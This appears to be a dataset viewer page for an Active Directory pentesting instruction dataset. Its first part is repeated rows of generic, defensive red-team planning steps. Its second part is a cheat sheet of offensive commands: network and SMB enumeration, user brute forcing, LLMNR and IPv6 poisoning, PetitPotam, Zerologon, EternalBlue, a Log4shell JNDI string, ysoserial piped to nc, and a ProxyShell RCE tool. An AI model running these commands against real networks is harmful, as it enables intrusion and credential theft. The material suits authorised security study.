instruction stringclasses 270
values | input stringlengths 3 214 | output stringclasses 297
values |
|---|---|---|
Enterprise CA present with many templates: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Enterprise CA present with many templates | Step 1: Confirm authorization and scope before proceeding.
Step 2: Validate who has enrollment rights and whether those rights are excessive.
Step 3: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.
Defender detection notes:
- Unusual certificate issuance or renewal outside ... |
Web enrollment services available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test? | Web enrollment services available | Step 1: Confirm authorization and scope before proceeding.
Step 2: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.
Step 3: Validate who has enrollment rights and whether those rights are excessive.
Defender detection notes:
- Unusual certificate issuance or renewal outside ... |
Web enrollment services available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test? | Web enrollment services available | Step 1: Confirm authorization and scope before proceeding.
Step 2: Validate who has enrollment rights and whether those rights are excessive.
Step 3: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.
Defender detection notes:
- Unusual certificate issuance or renewal outside ... |
Web enrollment services available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test? | Web enrollment services available | Step 1: Confirm authorization and scope before proceeding.
Step 2: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.
Step 3: Validate who has enrollment rights and whether those rights are excessive.
Defender detection notes:
- Unusual certificate issuance or renewal outside ... |
Web enrollment services available: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Web enrollment services available | Step 1: Confirm authorization and scope before proceeding.
Step 2: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.
Step 3: Validate who has enrollment rights and whether those rights are excessive.
Defender detection notes:
- Unusual certificate issuance or renewal outside ... |
Enterprise CA present with many templates: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Enterprise CA present with many templates | Step 1: Confirm authorization and scope before proceeding.
Step 2: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.
Step 3: Validate who has enrollment rights and whether those rights are excessive.
Defender detection notes:
- Unusual certificate issuance or renewal outside ... |
Enterprise CA present with many templates: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test? | Enterprise CA present with many templates | Step 1: Confirm authorization and scope before proceeding.
Step 2: Validate who has enrollment rights and whether those rights are excessive.
Step 3: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.
Defender detection notes:
- Unusual certificate issuance or renewal outside ... |
Web enrollment services available: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Web enrollment services available | Step 1: Confirm authorization and scope before proceeding.
Step 2: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.
Step 3: Validate who has enrollment rights and whether those rights are excessive.
Defender detection notes:
- Unusual certificate issuance or renewal outside ... |
Web enrollment services available: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Web enrollment services available | Step 1: Confirm authorization and scope before proceeding.
Step 2: Validate who has enrollment rights and whether those rights are excessive.
Step 3: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.
Defender detection notes:
- Unusual certificate issuance or renewal outside ... |
Enterprise CA present with many templates: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Enterprise CA present with many templates | Step 1: Confirm authorization and scope before proceeding.
Step 2: Validate who has enrollment rights and whether those rights are excessive.
Step 3: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.
Defender detection notes:
- Unusual certificate issuance or renewal outside ... |
Large-scale LDAP brute force attempts detected in logs: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Large-scale LDAP brute force attempts detected in logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 4: Correlate across telemetry (network, EDR, authenticatio... |
Unexpected use of administrative utilities across many hosts: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Unexpected use of administrative utilities across many hosts | Step 1: Confirm authorization and scope before proceeding.
Step 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 4: Correlate across telemetry (network, EDR, authenticatio... |
Anomalous certificate issuance logs: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Anomalous certificate issuance logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 4: Triage the affected logs and extract indicators (source IP, ac... |
Anomalous certificate issuance logs: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Anomalous certificate issuance logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 4: Correlate across telemetry (network, EDR, authenticatio... |
Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Large-scale LDAP brute force attempts detected in logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 4: Triage the affected logs and extract indicators (source IP, ac... |
Large-scale LDAP brute force attempts detected in logs: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test? | Large-scale LDAP brute force attempts detected in logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 4: Correlate across telemetry (network, EDR, authenticatio... |
Unexpected use of administrative utilities across many hosts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test? | Unexpected use of administrative utilities across many hosts | Step 1: Confirm authorization and scope before proceeding.
Step 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 4: Correlate across telemetry (network, EDR, authenticatio... |
Anomalous certificate issuance logs: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test? | Anomalous certificate issuance logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 4: Tune detection rules with labeled data from lab reproductions... |
Anomalous certificate issuance logs: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test? | Anomalous certificate issuance logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 4: Triage the affected logs and extract indicators (source IP, ac... |
Large-scale LDAP brute force attempts detected in logs: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test? | Large-scale LDAP brute force attempts detected in logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 4: Tune detection rules with labeled data from lab reproductions... |
Large-scale LDAP brute force attempts detected in logs: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Large-scale LDAP brute force attempts detected in logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 4: Tune detection rules with labeled data from lab reproductions... |
Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Large-scale LDAP brute force attempts detected in logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 4: Triage the affected logs and extract indicators (source IP, ac... |
Unexpected use of administrative utilities across many hosts: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Unexpected use of administrative utilities across many hosts | Step 1: Confirm authorization and scope before proceeding.
Step 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 4: Tune detection rules with labeled data from lab reproductions... |
Anomalous certificate issuance logs: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Anomalous certificate issuance logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 4: Triage the affected logs and extract indicators (source IP, ac... |
Anomalous certificate issuance logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Anomalous certificate issuance logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 4: Correlate across telemetry (network, EDR, authenticatio... |
Unexpected use of administrative utilities across many hosts: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Unexpected use of administrative utilities across many hosts | Step 1: Confirm authorization and scope before proceeding.
Step 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 4: Correlate across telemetry (network, EDR, authenticatio... |
Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Large-scale LDAP brute force attempts detected in logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 4: Correlate across telemetry (network, EDR, authenticatio... |
Large-scale LDAP brute force attempts detected in logs: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test? | Large-scale LDAP brute force attempts detected in logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 4: Tune detection rules with labeled data from lab reproductions... |
Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Large-scale LDAP brute force attempts detected in logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 4: Tune detection rules with labeled data from lab reproductions... |
Anomalous certificate issuance logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Anomalous certificate issuance logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 4: Correlate across telemetry (network, EDR, authenticatio... |
Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Large-scale LDAP brute force attempts detected in logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 4: Triage the affected logs and extract indicators (source IP, ac... |
Unexpected use of administrative utilities across many hosts: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Unexpected use of administrative utilities across many hosts | Step 1: Confirm authorization and scope before proceeding.
Step 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 4: Triage the affected logs and extract indicators (source IP, ac... |
Unexpected use of administrative utilities across many hosts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test? | Unexpected use of administrative utilities across many hosts | Step 1: Confirm authorization and scope before proceeding.
Step 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 4: Triage the affected logs and extract indicators (source IP, ac... |
Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Large-scale LDAP brute force attempts detected in logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 3: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 4: Triage the affected logs and extract indicators (source IP, ac... |
Unexpected use of administrative utilities across many hosts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test? | Unexpected use of administrative utilities across many hosts | Step 1: Confirm authorization and scope before proceeding.
Step 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 4: Tune detection rules with labeled data from lab reproductions... |
Anomalous certificate issuance logs: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Anomalous certificate issuance logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 4: Tune detection rules with labeled data from lab reproductions... |
Unexpected use of administrative utilities across many hosts: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Unexpected use of administrative utilities across many hosts | Step 1: Confirm authorization and scope before proceeding.
Step 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 4: Tune detection rules with labeled data from lab reproductions... |
Unexpected use of administrative utilities across many hosts: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Unexpected use of administrative utilities across many hosts | Step 1: Confirm authorization and scope before proceeding.
Step 2: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 4: Tune detection rules with labeled data from lab reproductions... |
Unexpected use of administrative utilities across many hosts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test? | Unexpected use of administrative utilities across many hosts | Step 1: Confirm authorization and scope before proceeding.
Step 2: Tune detection rules with labeled data from lab reproductions to reduce false positives.
Step 3: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 4: Triage the affected logs and extract indicators (source IP, ac... |
Large-scale LDAP brute force attempts detected in logs: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Large-scale LDAP brute force attempts detected in logs | Step 1: Confirm authorization and scope before proceeding.
Step 2: Correlate across telemetry (network, EDR, authentication logs) to determine scope.
Step 3: Triage the affected logs and extract indicators (source IP, account, timing) for hunting.
Step 4: Tune detection rules with labeled data from lab reproductions... |
Coordinating blue-team telemetry collection: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Coordinating blue-team telemetry collection | Step 1: Confirm authorization and scope before proceeding.
Step 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.
Step 3: Define clear scope, rules of engagement, and escalation contacts.
Step 4: Establish emergency stop procedures and communication channels.
Defender detection notes:
... |
Red-team exercise kickoff: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Red-team exercise kickoff | Step 1: Confirm authorization and scope before proceeding.
Step 2: Define clear scope, rules of engagement, and escalation contacts.
Step 3: Prepare lab-based rehearsal that mirrors production for high-risk actions.
Step 4: Establish emergency stop procedures and communication channels.
Defender detection notes:
... |
Red-team exercise kickoff: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Red-team exercise kickoff | Step 1: Confirm authorization and scope before proceeding.
Step 2: Define clear scope, rules of engagement, and escalation contacts.
Step 3: Prepare lab-based rehearsal that mirrors production for high-risk actions.
Step 4: Establish emergency stop procedures and communication channels.
Defender detection notes:
... |
Red-team exercise kickoff: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Red-team exercise kickoff | Step 1: Confirm authorization and scope before proceeding.
Step 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.
Step 3: Establish emergency stop procedures and communication channels.
Step 4: Define clear scope, rules of engagement, and escalation contacts.
Defender detection notes:
... |
Red-team exercise kickoff: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Red-team exercise kickoff | Step 1: Confirm authorization and scope before proceeding.
Step 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.
Step 3: Establish emergency stop procedures and communication channels.
Step 4: Define clear scope, rules of engagement, and escalation contacts.
Defender detection notes:
... |
Red-team exercise kickoff: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Red-team exercise kickoff | Step 1: Confirm authorization and scope before proceeding.
Step 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.
Step 3: Establish emergency stop procedures and communication channels.
Step 4: Define clear scope, rules of engagement, and escalation contacts.
Defender detection notes:
... |
Red-team exercise kickoff: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Red-team exercise kickoff | Step 1: Confirm authorization and scope before proceeding.
Step 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.
Step 3: Establish emergency stop procedures and communication channels.
Step 4: Define clear scope, rules of engagement, and escalation contacts.
Defender detection notes:
... |
Red-team exercise kickoff: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Red-team exercise kickoff | Step 1: Confirm authorization and scope before proceeding.
Step 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.
Step 3: Establish emergency stop procedures and communication channels.
Step 4: Define clear scope, rules of engagement, and escalation contacts.
Defender detection notes:
... |
Red-team exercise kickoff: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation. | Red-team exercise kickoff | Step 1: Confirm authorization and scope before proceeding.
Step 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.
Step 3: Define clear scope, rules of engagement, and escalation contacts.
Step 4: Establish emergency stop procedures and communication channels.
Defender detection notes:
... |
Red-team exercise kickoff: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders. | Red-team exercise kickoff | Step 1: Confirm authorization and scope before proceeding.
Step 2: Prepare lab-based rehearsal that mirrors production for high-risk actions.
Step 3: Establish emergency stop procedures and communication channels.
Step 4: Define clear scope, rules of engagement, and escalation contacts.
Defender detection notes:
... |
Scan Network | nxc smb <ip_range> | NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes. |
Scan Network | nmap -sU -sC -sV -oA <output> <ip> | Network/service scan or enumeration command (Nmap) with specified options. |
Scan Network | nmap -Pn -sC -sV -p- -oA <output> <ip> | Network/service scan or enumeration command (Nmap) with specified options. |
Scan Network | nmap -Pn -sC -sV -oA <output> <ip> | Network/service scan or enumeration command (Nmap) with specified options. |
Scan Network | nmap -Pn --script smb-vuln* -p139,445 <ip> | Network/service scan or enumeration command (Nmap) with specified options. |
Scan Network | nmap -Pn -sV --top-ports 50 --open <ip> | Network/service scan or enumeration command (Nmap) with specified options. |
Scan Network | nmap -sP -p <ip> | Network/service scan or enumeration command (Nmap) with specified options. |
Find DC IP | nmap -p 88 --open <ip_range> | Network/service scan or enumeration command (Nmap) with specified options. |
Find DC IP | nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain> | Tool or command referenced under 'Find DC IP'. |
Find DC IP | nmcli dev show <interface> | Note or procedural step under 'Find DC IP'. |
Zone Transfer | dig axfr <domain_name> @<name_server> | Tool or command referenced under 'Zone Transfer'. |
Anonymous & Guest access on SMB shares | smbclient -U '%' -L //<ip> | SMB client usage to list or access network shares. |
Anonymous & Guest access on SMB shares | enum4linux-ng.py -a -u '' -p '' <ip> | Note or procedural step under 'Anonymous & Guest access on SMB shares'. |
Anonymous & Guest access on SMB shares | nxc smb <ip_range> -u 'a' -p '' | NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes. |
Anonymous & Guest access on SMB shares | nxc smb <ip_range> -u '' -p ' | NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes. |
Enumerate LDAP: | ldapsearch -x -H <dc_ip> -s base | Tool or command referenced under 'Enumerate LDAP:'. |
Enumerate LDAP: | nmap -n -sV --script 'ldap*' and not brute -p 389 <dc_ip> | Network/service scan or enumeration command (Nmap) with specified options. |
Enumerate Users: | nxc smb <dc_ip> --rid-brute 10000 # bruteforcing RID | NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes. |
Enumerate Users: | nxc smb <dc_ip> --users | NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes. |
Enumerate Users: | net rpc group members 'Domain Users' -W '<domain> -l <ip> -U '%' | Note or procedural step under 'Enumerate Users:'. |
Bruteforce users: | kerbrute userenum -d <domain> <userlist> | Tool or command referenced under 'Bruteforce users:'. |
Bruteforce users: | nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<user_list_file>" <dc_ip> | Network/service scan or enumeration command (Nmap) with specified options. |
Poisoning: | LLMNR / NBTNS / MDNS | Note or procedural step under 'Poisoning:'. |
Poisoning: | responder -l <interface> | Tool or command referenced under 'Poisoning:'. |
Poisoning: | DHCPv6 (IPv6 prefered to IPv4) | Note or procedural step under 'Poisoning:'. |
Poisoning: | mitm6 -d <domain> | Tool or command referenced under 'Poisoning:'. |
Poisoning: | bettercap | Tool or command referenced under 'Poisoning:'. |
Poisoning: | ARP Poisoning | Note or procedural step under 'Poisoning:'. |
Poisoning: | bettercap | Tool or command referenced under 'Poisoning:'. |
Poisoning: | asreqroast | Note or procedural step under 'Poisoning:'. |
Poisoning: | Pcredz -i <interface> -v | Note or procedural step under 'Poisoning:'. |
Unauthenticated PetitPotam (CVE-2022-26925) | petitpotam.py -d <domain> <listener> <target> | Note or procedural step under 'Unauthenticated PetitPotam (CVE-2022-26925)'. |
no password | pxethief.py 1 | Note or procedural step under 'no password'. |
no password | pxethief.py 2 <distribution_point_ip> | Note or procedural step under 'no password'. |
password protected | tftp -i <dp_ip> GET "\xxx\boot.var" | Note or procedural step under 'password protected'. |
password protected | pxethief.py 5 '\xxx\boot.var' | Note or procedural step under 'password protected'. |
password protected > TimeRoasting | timeroast.py <dc_ip> -o <output_log> | Note or procedural step under 'password protected > TimeRoasting'. |
Quick Compromise: > Zerologon (unsafe) CVE-2020-1472 | zerologon-scan '<dc_netbios_name>' '<ip>' | Note or procedural step under 'Quick Compromise: > Zerologon (unsafe) CVE-2020-1472'. |
Quick Compromise: > Zerologon (unsafe) CVE-2020-1472 | cve-2020-1472-exploit.py <MACHINE_BIOS_NAME> <ip> | Note or procedural step under 'Quick Compromise: > Zerologon (unsafe) CVE-2020-1472'. |
Eternal Blue MS17-010: | msf> exploit/windows/smb/ms17_010_eternalblue # SMBv1 only | Tool or command referenced under 'Eternal Blue MS17-010:'. |
Eternal Blue MS17-010: > Tomcat/Jboss Manager | msf> auxiliary/scanner/http/tomcat_enum | Tool or command referenced under 'Eternal Blue MS17-010: > Tomcat/Jboss Manager'. |
Eternal Blue MS17-010: > Tomcat/Jboss Manager | msf> exploit/multi/http/tomcat_mgr_deploy | Tool or command referenced under 'Eternal Blue MS17-010: > Tomcat/Jboss Manager'. |
Java RMI: | msf> use exploit/multi/misc/java_rmi_server | Tool or command referenced under 'Java RMI:'. |
Java Serialiszed port: | ysoserial.jar <gadget> '<cmd>' |nc <ip> <port> | Note or procedural step under 'Java Serialiszed port:'. |
Log4shell: | ${jndi:ldap://<ip>:<port>/o=reference} | Note or procedural step under 'Log4shell:'. |
Database: | msf> use auxiliary/admin/mssql/mssql_enum_sql_logins | Tool or command referenced under 'Database:'. |
Exchange: | Proxyshell | Note or procedural step under 'Exchange:'. |
Exchange: | proxyshell_rce.py -u https://<exchange> -e administrator@<domain> | Note or procedural step under 'Exchange:'. |
Veeam: | CVE-2023-27532 (creds Veeam backup) | Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance. |
Veeam: | VeeamHax.exe --target <veeam_server> | Note or procedural step under 'Veeam:'. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.